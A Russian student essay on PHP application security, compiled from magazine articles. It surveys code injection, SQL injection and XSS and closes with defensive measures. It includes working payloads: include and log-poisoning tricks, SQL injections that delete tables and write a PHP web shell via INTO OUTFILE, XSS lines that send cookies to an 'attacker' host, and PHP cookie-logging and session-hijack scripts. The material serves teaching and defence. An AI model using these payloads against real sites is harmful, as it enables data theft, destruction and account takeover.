Безопасность приложений на основе PHP
Снова реферат-компиляция статей других авторов плюс страница-другая от себя. Этот реферат + его защита были экзаменом, который вчера сдал.
СОДЕРЖАНИЕ
1. Предпосылки к проблемам безопасности PHP-приложений
2. Обзор технологий взлома веб-ресурсов
2.1 Инъекция кода
2.2 Инъекция SQL
2.3 Межсайтовый скриптинг XSS
PHP (англ. PHP: Hypertext Preprocessor — «PHP: препроцессор гипертекста») — скриптовый язык программирования, созданный для генерации HTML-страниц на веб-сервере и работы с базами данных. В настоящее время поддерживается подавляющим большинством хостинг-провайдеров. Входит в LAMP — «стандартный» набор для создания веб-сайтов (Linux, Apache, MySQL, PHP (Python или Perl)).
В области программирования для Сети PHP — один из популярнейших скриптовых языков (наряду с JSP, Perl и языками, используемыми в ASP.NET) благодаря своей простоте, скорости выполнения, богатой функциональности и распространению исходных кодов на основе лицензии PHP. PHP отличается наличием ядра и подключаемых модулей, «расширений»: для работы с базами данных, сокетами, динамической графикой, криптографическими библиотеками, документами формата PDF и т. п. Любой желающий может разработать своё собственное расширение и подключить его. Существуют сотни расширений, однако в стандартную поставку входит лишь несколько десятков хорошо зарекомендовавших себя. Интерпретатор PHP подключается к веб-серверу либо через модуль, созданный специально для этого сервера (например, для Apache или IIS), либо в качестве CGI-приложения.
Кроме этого, он может использоваться для решения административных задач в операционных системах UNIX, GNU/Linux, Microsoft Windows, Mac OS X и AmigaOS. Однако в таком качестве он не получил распространение, отдавая пальму первенства Perl, Python и VBScript.
Синтаксис PHP подобен синтаксису языка Си. Некоторые элементы, такие как ассоциативные массивы и цикл foreach, заимствованы из Perl.
Ныне PHP используется сотнями тысяч разработчиков. Несколько миллионов сайтов сообщают о работе с PHP, что составляет более пятой доли доменов Интернета.
Группа разработчиков PHP состоит из множества людей, добровольно работающих над ядром и расширениями PHP, и смежными проектами, такими, как PEAR или документация языка.
1. Предпосылки к проблемам безопасности PHP-приложений | К содержанию
Широкие возможности PHP, его гибкость и быстрота освоения – все это сделало его одним из самых распространенных языков, используемых для построения веб-приложений. Однако многие начинающие php-программисты зачастую не знают или пренебрегают основами безопасности.
Возможных причин несколько:
— многие авторы всевозможных самоучителей не уделяют этому внимания, обучая основам PHP, но забывая о безопасности;
— лень, невнимательность, торопливость и др. человеческие факторы: программист может полениться сделать необходимую проверку, либо забыть ее сделать второпях, либо сделать, но некачественно, понадеяться на «авось» и т.д.
Эти причины приводят к тому, что злоумышленнику часто нужно приложить минимум усилий, чтобы получить необходимые данные.
2. Обзор технологий взлома веб-ресурсов
Практически любой сайт можно взломать при помощи смертельных инъекций тремя способами:
— инъекцией кода (сode injection)
— инъекцией sql (sql injection)
— межсайтовыми скриптами (XSS)
2.1 Инъекция кода | К содержанию
В теории все выглядит просто: есть скрипт, исполняемый на сервере, в который взломщику необходимо встроить свой код. Провернуть такую махинацию довольно просто, если соблюдены два условия. Во-первых, веб-разработчик должен использовать конструкцию include с параметром переменной, а во-вторых, должен плохо проверять данные, поступающие от пользователя. Наиболее часто такая ситуация возникает в простых скриптах:
<!– Заголовок –>
<?php include ($page); ?>
<!– Завершающая часть –>
Соответственно, работа идет со ссылками типа http://tralivali/index.php?page=about.php. Самое безобидное, что можно сделать – это просмотреть информацию о PHP (и не только):
<?php phpinfo();?>
Создав такой файл у себя на сервере, просто включаем его в запрос вместо about.php – и видим всю информацию на экране. Таким образом, мы внедрили произвольный код в скрипт на сервере и получили необходимую информацию. Но это только цветочки, ведь можно при помощи PHP сделать все, что нашей душе угодно.
Иногда соединения с внешними сайтами запрещены и можно делать только локальные инклюды. В таких случаях пытаются записать свой код в какой-то файл на сервере. Например, пробуют воспользоваться загрузкой картинок или файлов, а потом передать в нефильруемый параметр путь к такому файлу.
Либо используют другой интересный вариант:
делается заведомо неверный запрос http://target.com/<script language=php>phpinfo();</script> , который попадает в лог-файл ошибок. И уже этот файл инклюдится в скрипт: http://target.com/script.php?parametr=../../../../../apache/logs/error_log
Сложность в том, чтобы подобрать путь к логу.
2.2 Инъекция SQL | К содержанию
SQL Injection – внедрение произвольных sql-команд, в результате которого меняется логика оригинального запроса к базе данных. Это представляет серьезную угрозу, так как таким образом злоумышленник может утянуть из нее конфиденциальную информацию. Типичный пример — через ошибки в web-интерфейсе у разных провайдеров не раз крали базы с логинами и паролями пользователей.
Успешность атаки SQL Injection не зависит от используемого для написания web-приложений языка программирования – будь то PHP, Perl или ASР. Если сценарий работает с базами данных, а проверка входных параметров отсутствует, то всегда есть возможность внедрения sql-кода. Это относится не только к web-приложениям, но и к обычным программам, которые работают с базами данных.
Рассмотрим небольшой пример. Допустим, на сервере баз данных есть база, а в ней – таблица Users, в которой хранится информация обо всех зарегистрированных пользователях. Как правило, такие таблицы имеют минимум три поля: id (идентификатор), UserName (имя пользователя) и Password (пароль). Допустим, для того чтобы посмотреть профиль пользователя, используется следующий запрос к базе данных:
SELECT *
FROM Users
WHERE id = переменная
В данном примере видно, что значение поля id будет сравниваться со значением переменной. Если в качестве значения переменной указать, например, 10, то честный пользователь увидит свой профиль. Вроде все хорошо и прекрасно, но что будет, если модифицировать запрос до такого вида:
SELECT *
FROM Users
WHERE id = переменная OR UserName = “Администратор”
После выполнения такого запроса отобразится запись не только с id = значению переменной, но и запись, в которой значение поля UserName = Администратор. То есть после такого запроса хакер увидит всю информацию об учетной записи «Администратор».
www.site.ru/profile.php?id=10 OR UserName=’Администратор’
На этом примере видно, что после того, как мы дописали к URL дополнительные sql-команды (OR UserName=…), логика запроса изменилась. Отсутствие фильтрации входных параметров – вот причина, из-за которой появилась возможность воспользоваться SQL Injection! Чтобы этого не произошло, необходимо перед выполнением запроса в сценарии кое-что проверить. В данном случае достаточно просмотреть содержимое одной (это при условии, что остальные переменные нигде не видны, но лучше проверять все) переменной id: в ней не должно быть никаких символов, кроме цифр от 0 до 9.
Проблема специальных символов
Знатоки языка запросов SQL знают, что с помощью специальных символов можно полностью изменить логику запроса и обойти многие ограничения, которые изначально придумывал программист.
1. Одинарные и двойные кавычки
Их используют для выделения значений. Предыдущий пример (UserName = ‘Администратор’) как раз об этом. Первое, с чего начинает хакер свое исследование, это попытка вставки одинарной кавычки вместе со значением переменной. Если отсутствует фильтрация на спецсимволы, то взломщик увидит ошибку, сгенерированную сервером БД. В результате он уже точно будет знать, что есть возможность внедрить свой sql-код.
Значит, в своем сценарии надо отключить вывод любых ошибок. Лучше в момент возникновения ошибки вывести свой текст, чем текст, который сгенерирует сервер БД.
2. Двойное тире
Два тире подряд в SQL означают начало комментария. То есть все, что будет после двух знаков тире, не будет восприниматься как часть запроса. Рассмотрим пример:
SELECT * FROM Users WHERE UserName=root AND Password= переменная
Это запрос должен выбрать запись, где поле UserName равно root (как правило, в основном это имя используется для обозначения супер-пользователя), а поле Password равно значению переменной. Имя мы знаем, а пароль, естественно, нет. Но это не повод отчаиваться – можно умудриться модифицировать запрос до такого вида:
SELECT * FROM Users WHERE UserName=root–AND Password = переменная
В результате, код, который стоит после двух знаков тире (AND Password = переменная), не будет выполнен, и, следовательно, мы успешно проходим данную проверку, зная одно лишь имя пользователя.
В SQL есть еще пара символов, которые обозначают комментарий «/*». Если вдруг оказывается, что знак тире фильтруется, то можно воспользоваться «/*». Принцип действия тот же самый. Весь текст запроса, который стоит после этих символов, не будет выполняться, а значит, можно отбросить лишние проверки и обойти защиту.
3. Знак равенства
Казалось бы, чем может грозить простой знак равенства (=)? Но при правильном подходе и отсутствии фильтрации этого символа знак равенства превращается в боевое оружие. Пример:
SELECT * FROM Users WHERE id= переменная
Взломщик может без проблем в качестве значения переменной подставить «1 OR UserName=Aдмин», и запрос легким движением руки превратится в:
SELECT * FROM Users WHERE id = 1 OR UserName=Админ
Результат этого запроса вернет запись, где поле id равно единице или поле UserName равно «Админ». Теперь представь, что было бы, если бы знак равенства всегда отрезался. Запрос уже выглядел бы следующим образом:
SELECT * FROM Users WHERE id = 1 OR UserNameАдмин
Этот запрос неверный, поэтому он не будет выполнен сервером БД, а значит, взломщик останется с носом.
4. Точка с запятой
Знак «;» тоже относится к специальным символам, он используется для разделения запросов между собой. Любой сервер БД может выполнять несколько действий одним запросом, но для этого каждое действие в запросе должно быть отделено друг от друга точкой с запятой. Как этим можно воспользоваться?
SELECT * FROM Users WHERE id = переменная
Теперь, если представить, что в переменную, с которой сравнивается значение поля id, вписывается такое значение:
1; DELETE FROM Users
Запрос будет выглядеть следующим образом:
SELECT * FROM Users WHERE id = 1; DELETE FROM Users
Сначала сервер выполнит выборку из таблицы Users — запись, в которой значение поля id равно единице. А затем полностью удалит все записи из таблицы Users. Конечно, в реальной ситуации очистить все содержимое таблицы непросто, так как необходимо знать ее имя, а получить имена таблиц бывает непросто… но возможно.
5. Знак плюса
Знак плюса в SQL сопоставляется со знаком пробела. Допустим, что воспользоваться обычным символом пробела бывает невозможно (фильтруется), в этом случае можно воспользоваться знаком плюса.
SELECT * FROM Users WHERE id = 1+OR+UserName=Администратор
Такой запрос будет абсолютно корректен и успешно выполнится.
Специальные операторы
В языке SQL есть множество операторов, воспользовавшись которыми, можно получить гораздо больше возможностей, чем при использовании простых специальных символов.
1. INSERT
Этот оператор используется для вставки новых записей в таблицу. Бывает необходимо сделать себе аккаунт (допустим, на каком-нибудь интересном форуме, где просто так не зарегистрируешься). Тогда, найдя возможность внедрения, можно добавить в запрос этот оператор.
SELECT * FROM Users WHERE UserName=root and Password=123; INSERT INTO Users values (“0”, “spider_net”, “qwerty”)
После выполнения такого запроса в таблице UserName добавится новая запись, в которой будут содержаться данные нового пользователя с логином spider_net и паролем qwerty.
2. LIKE
Оператор LIKE идентичен знаку «=», только используется для сравнения строк. Но многие забывают об одном нюансе, который проще показать на примере:
SELECT * FROM Users WHERE UserName LIKE переманная1 AND Password LIKE переменная2
Если для сравнения используется именно LIKE, то достаточно к значению переменной с паролем добавить символ «%». В результате запрос будет выполнен успешно, и если он используется для авторизации пользователей, то мы без проблем сможем залогинится под любым пользователем.
SELECT * FROM Users WHERE UserName LIKE root AND Password LIKE %
В SQL знак процента используется для сопоставления с любыми символами. Эта ошибка достаточно распространена, особенно в самописных сценариях. Если ты занимаешься исследованием подобного сценария, то первым делом имеет смысл проверять внедрение именно этого знака.
3. UNION
Оператор UNION служит для объединения запросов. Если удается внедрить этот оператор в запрос, то открываются безграничные возможности.
SELECT * FROM News WHERE id=1 UNION SELECT Id, UserName, Password FROM Users
После выполнения этого запроса помимо текста новости отобразится информация обо всех учетных записях из таблицы UserName.
4. OUTFILE
С помощью SQL можно получить доступ и к файловой системе.
SELECT ‘Мой текст’ INTO OUTFILE ‘text.txt’
Если запрос выполнился успешно, то будет создан файл text.txt с единственной фразой «Мой текст». Конечно, если записать простой текст в файл, то выгоды будет мало. Но что если записать в качестве текста свой сценарий, который будет выполнять какую-нибудь системную функцию…
SELECT ‘<?php system($cmd) ?>’ INTO OUTFILE ‘cmd.php’
Запрос создаст php-сценарий, который будет выполнять команду из переменной $cmd.
Как ищут место для sql injection
Первым делом ищут любые сценарии на сайте. Бывает так, что весь сайт выполнен в виде статичного html, а какой-нибудь один раздел (например, новости) является сценарием. Вот в нем и ищут возможность внедрения SQL Injection. Пробуют подставлять свои SQL-команды к значению переменных, которые передаются сценарию.
Если на атакуемом сайте есть поиск, то его тоже проверяют. На многих сайтах сценарии поиска — самописные, значит, всегда есть шанс, что неопытный программист где-то допустил ошибку.
Форум и гостевые книги – отличное место для поиска уязвимостей. Стоит только узнать название и версию форума и, если он известный, можно попробовать найти уже готовый эксплойт в Сети.
2.3 Межсайтовый скриптинг XSS | К содержанию
XSS — (англ. Сross Site Sсriрting) — межсайтовый скриптинг, тип уязвимости компьютерной системы, используется при хакерской атаке. Специфика подобных атак заключается в том, что вместо непосредственной атаки сервера, они используют уязвимый сервер в качестве средства атаки на клиента. XSS-атака обычно проводится путём конструирования специального URL, который атакующий предъявляет своей жертве. Иногда для термина используют сокращение CSS, но, чтобы не было путаницы с каскадными таблицами стилей, используют сокращение XSS.
Условно, XSS можно разделить на активные и пассивные. При активных XSS вредоносный скрипт хранится на сервере, и срабатывает в браузере жертвы, при открытии какой-либо страницы зараженного сайта. Пассивные XSS подразумевают, что скрипт не хранится на сервере уязвимого сайта, либо он не может автоматически выполниться в браузере жертвы. Для срабатывания пассивной XSS, требуется некое дополнительное действие, которое должен выполнить браузер жертвы (например клик по специально сформированной ссылке)
Анатомия
XSS-атака обычно проводится путем конструирования специального URL, который атакующий подсовывает своей жертве. Можно провести аналогию между XSS-атакой и переполнением буфера, и между встраиванием скрипта и переписыванием EIP. В обоих случаях существуют две возможности для совершения успешной атаки: вставка мусора, либо переход в другую точку. Вставка мусора при переполнении буфера обычно приводит к атаке на отказ в обслуживании. В случае XSS-атаки она позволяет атакующему отобразить произвольную информацию и подавить вывод оригинальной веб-странице. Что касается перехода в другую точку, при переполнении буфера он обычно производится в некоторую область памяти, в которой расположен код, позволяющий захватить контроль над исполнение программы. В случае XSS, атакующий перенаправляет жертву на некоторую веб-страницу (как правило, находящуюся под контролем атакующего), перехватывая текущую сессию.
Обнаружение
Но каким образом осуществляются XSS-атаки? Они становятся возможными из-за ошибок в серверных приложениях, и корни их – в пользовательском вводе, который некорректно очищен от HTML-кода. Если атакующий получит возможность вставить произвольный HTML-код, то он сможет управлять отображением веб-страницы с правами самого сайта. Простейшая страница, уязвимая к подобным атакам, выглядит так:
<?php echo “Hello, {$HTTP_GET_VARS['name']}!”; ?>
При открытии страницы, переменная name, отправляемая методом GET, выводится непосредственно в ее теле, со всеми метасимволами. Передав в качестве параметра “Gavin Zuchlinski”, мы получим корректный вариант отображения:

Передав в параметре HTML-код, можно добиться неожиданного результата:

Ввод не проверяется серверным скриптом перед тем как передать результат броузеру, и это позволяет вставить в уязвимую страницу произвольный пользовательский код. Иногда пользовательский ввод не обрабатывается скриптом непосредственно, а вставляется в файл или базу данных, и после этого забирается оттуда для вставки в страницу.
Традиционным местом для XSS-ошибок являются страницы, выводящие всевозможные подтверждения (например, поисковые скрипты дублируют пользовательский ввод перед результатами поиска), и страницы с сообщениями об ошибках, сообщающие пользователю, что именно он ввел не так. В последнем случае (а иногда и в первом) для атаки часто достаточно закрыть содержимое текстового поля символами “> – кавычка закрывает параметр value, а > – весь тег.
Атака
После определения уязвимого параметра следует определить подходящий для использования HTTP-метод. Способ, которым пересылаются значения переменных, довольно важен – посылаются ли данные с помощью GET, POST, или сработает любой из них? Некоторые скрипты предпочитают что-то одно, некоторые, использующие готовые методы доступа к переменным (как в случае PH или Perl-Скриптов с CGI.pm) могут работать с любым из методов.
Вставка с помощью GET самая простая, но и самая “шумная”. Чтобы помешать осторожным пользователям обратить внимание на редиректы и прочий подозрительный код в строке адреса, можно использовать замену каждого символа его шестнадцатиричным значением, которому предшествует символ %. Тем не менее, этот метод засоряет адрес и по умолчанию протоколируется большинством веб-серверов.
Простейший способ перехода – вставка кода на javascript с редиректом страницы. Таким образом можно отправить на посторонний сервер значения переменных, доступных только из текущего документа. Более сложные переходы включают другие HTML-теги и объекты. Если код вида
document.location.replace(’http://attacker/payload’);
может быть вставлен и исполнен, то можно считать, что атакующий контролирует исполнение страницы. Модифицировав этот код:
document.location.replace(’http://attacker/payload?c=’+document.cookie);
мы добиваемся того, что сервер атакующего получает информацию о cookie жертвы. В случае упомянутой выше уязвимой страницы вставка кода является относительно простой:
http://host/hello.php?name=<script>document.location.replace(’http://attacker/payload?c=’%2Bdocument.cookie)</script>
По самой природе XSS, атакующий не может непосредственно использовать уязвимый скрипт в личных целях. Встроенный код должна увидеть жертва. Если бы на том же сервере, что и hello.php, была расположена доска объявлений, постинг этой ссылки на нее привел бы множество жертв. После того как жертва открывает ссылку, информация передается на сервер атакующего. Что именно он сможет сделать с данной информацией, мы рассмотрим позже.
Скрипты, уязвимые к POST-вставке, лишь немногим сложнее атаковать. Поскольку POST-переменные передаются независимо от URL скрипта, необходимо использовать промежуточную страницу. Цель промежуточной страницы – заставить клиента отправить POST-запрос, содержащий нужный нам код. В следующем примере создается форма, в которой атакующей сформировал значения переменных, и отправляет от имени пользователя:
<script>f.submit()</script>
После того как жертва откроет промежуточную страницу, она вынудит броузер отправить POST-запрос к hello.php, с переменной name установленной в
<script>document.location.replace(’http://attacker/payload?c=’+document.cookie)</script>
Цель атакующего достигнута, наш код передан уязвимой странице.
Вместо вставки кода для перехода, атакующий может решить вставить код, который будет портить уязвимую страницу. Вставкой статичного HTML-кода атакующий может модифицировать отображаемое содержимое страницы. Там может находиться, к примеру код формы для логина, результат работы которой получит атакующий. Этот метод позволяет обойти средства идентификации такие как сертификаты сайтов или ручную проверку адреса клиентом. Если внедренный HTML-код будет позднее отображен на динамической странице (в гостевой книге, на форуме и т.п.), то страница будет выглядеть “взломанной”. В общем, встраиваемый код может быть самым разным и полностью зависит от фантазии атакующего.
Использование
После обнаружения уязвимой страницы, создания кода перехода, вставки его в уязвимую страницу и исполнения кода перехода броузером жертвы, остается сделать еще один шаг. Страница, на которую перекинуло жертву, должна выполнить некоторые действия. Они могут быть простейшими – например, вывод рекламы или запись данных, – или более сложными, например, перехват пользовательской сессии. Перенаправлением пользователя на другую страницу может, к примеру, решаться простая задача накрутки – перехват посетителей с атакуемой страницы. Чуть более сложной является задача протоколирования критичной информации (cookie) для последуюшего ручного использования. Следующий код записывает IP-адрес посетителя, значение Referer и значение cookie, переданной через переменную “c”:
<?php
$f = fopen(”log.txt”, “a”);
fwrite($f, “IP: {$_SERVER['REMOTE_ADDR']} Ref: {$_SERVER
['HTTP_REFERER']} Cookie: {$HTTP_GET_VARS['c']}\n”);
fclose($f);
?>
После того как атакующий получил значения cookie, он может извлечь из них полезную информацию, или попытаться перехватить сессию. Предполагая, что серверная сторона считает сессию незавершенной, атакующий может модифицировать свои cookie с целью перехвата сессии. Автоматизировав использование украденных cookie, атакующий значительно увеличивает свои шансы и упрощает атаку. При этом скрипт использует информацию, предоставленную обманутым клиентом, для выполнения своей задачи. В следующем примере скрипт атакующего использует cookie для получения исходного кода защищенной веб-страницы:
<?php
$request = “GET /secret.php HTTP/1.0\r\n”;
$request .= “Cookie: {$HTTP_GET_VARS['c']}\r\n”;
$request .= “\r\n”;
$s = fsockopen(”host”, 80, $errno, $errstr, 30);
fputs($s, $request);
$content = ”;
while (!feof($s))
{
$content .= fgets($s, 4096);
}
fclose($s);
echo $content;
?>
В этом случае /secret.php передается украденный cookie, после чего результат выводится в броузере. Модифицировав содержимое запроса, можно выполнить практически любую задачу от имени пользователя. Следующий код использует метод POST для смены почтового адреса пользователя без его ведома:
<?php
$request = “POST /profile.php HTTP/1.0\r\n”;
$request .= “Cookie: {$HTTP_GET_VARS['c']}\r\n”;
$request .= “\r\n”;
$request .= “email=attacker@hotmail.com”;
$s = fsockopen(”host”, 80, $errno, $errstr, 30);
fputs($s, $request);
fclose($s);
echo “<script>document.location.replace(’http://google.com/’)</script>”;
?>
Данный код выполняет полноценную XSS-атаку. Без стороннего скрипта, управляемого атакующим, атака не раскрыла бы весь свой потенциал.
3. Способы защиты | К содержанию
Для защиты от приведенных выше атак нужно использовать комплекс мер:
1. Обязательная фильтрация параметров, переданных от пользователя.
2. Экранирование опасных спец-символов в запросе (как встроенными средствами языка программирования, так и написанными собой).
3. Использование метода перебора, который позволяет кроме символов удалять разные управляющие слова и последовательности.
4. Использование типизированных параметров.
5. Четкое разделение прав доступа и, желательно, несколько уровней защиты (например, модули безопасности).
Должно быть разрешено только то, что необходимо, а все остальное нужно запрещать. Например, если пользователь не должен видеть определенные таблицы в базе данных, то учетная запись, под которой выполняются запросы данного пользователя, не должна иметь прав на эти таблицы. Одну единственную защиту обойти достаточно просто, а если используется сразу несколько методов, то сработает другой уровень безопасности.
6. Для защиты от инклюдов нужно использовать заранее определенный список файлов и фиксированные пути.
После подробного рассмотрения распространенных типов атак становится ясно, что просто написать требуемое приложение недостаточно, нужно еще сделать его безопасным. Иначе содержимое баз данных со всей конфиденциальной информацией становится легкой добычей злоумышленника, а в некоторых случаях уязвимость может быть использована для DdoS’а (DOM XSS).
Однако все эти атаки основаны на ошибке программиста. Таким образом свести атаки на нет можно, если грамотно использовать весь перечень мер, приведенный выше.
СПИСОК ЛИТЕРАТУРЫ | К содержанию
1. Статьи журнала Хакер, номер № 75
— «Внутримышечно и внутривенно», стр 30
— «Дефектный замысел / Теория SQL Injection», стр. 6
— «Special опрос», стр. 72
2. Gavin Zuchlinski, перевод – Дмитрий Леонов: Анатомия межсайтового скриптинга

Написать комментарий